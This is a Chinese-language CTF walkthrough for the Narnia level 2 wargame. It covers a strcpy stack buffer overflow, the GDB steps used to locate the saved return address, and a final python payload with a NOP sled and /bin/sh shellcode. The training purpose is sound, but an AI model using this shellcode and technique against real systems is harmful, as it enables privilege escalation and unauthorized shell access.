首页 > 代码库 > Wargame narnia level 2 (中文攻略)

Wargame narnia level 2 (中文攻略)

前面省略连接部分……

cat narnia2.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
        char buf[128];
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);
        return 0;
}

一个很经典的溢出……  

原因就是 strcpy()  复制字符串前没有对长度进行检查……

当然,如果是在WINDOWS下的话,实行溢出是非常简单的(有各种强大的软件,OD等)

 

但现在我们在别人的服务器上,那怎么来愉快地玩耍呢?

 

用苦逼的LINUX自带调试器GDB。。。

 

gdb narnia2

 

改变汇编语言的格式

set disassembly-flavor intel

 

disassemble main

image

 

我们需要的是字符串复制后的内存分布,以便找到shellcode的地址

然后在这四处下断,以便更好理解EIP是怎样被控制的

image

image

然后 随机输入一个字符串进行复制

这里输入的是100个a

image

执行前的 esp , ebp 地址 以及 esp 附近内存数据

image

image

 

 

执行strcpy这个call后 ,

image

 

在 执行   0x0804848b   leave  前 看下ebp的地址

image

leave 等价于  mov esp,ebp,   pop ebp

在执行下一句 ret 前, 查看一下此时ESP地址附近数据,   ( RET 等价于POP EIP)

此时的EIP 是 0xffffd6cc 的双字,    也就是我们要覆盖的和控制的地址。

image

 

然后我们就可以构造自己的shellcode 了, 形式是NNNNNNSSSSNNA    


`python -c  ‘print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x68\xd6\xff\xff" ‘`

注意后面的地址不能直接指向复制字符串的开头,不然会GG(原因是目录名的长度会使字符串位置发生移动)

还有后面要补8字节\x90 ,  这个目前不知道为什么= =,  单纯用NNNNNSSSA 的形式的话,好像利用会失败……

 

最终:

image

 

3

成功拿到下一关的密码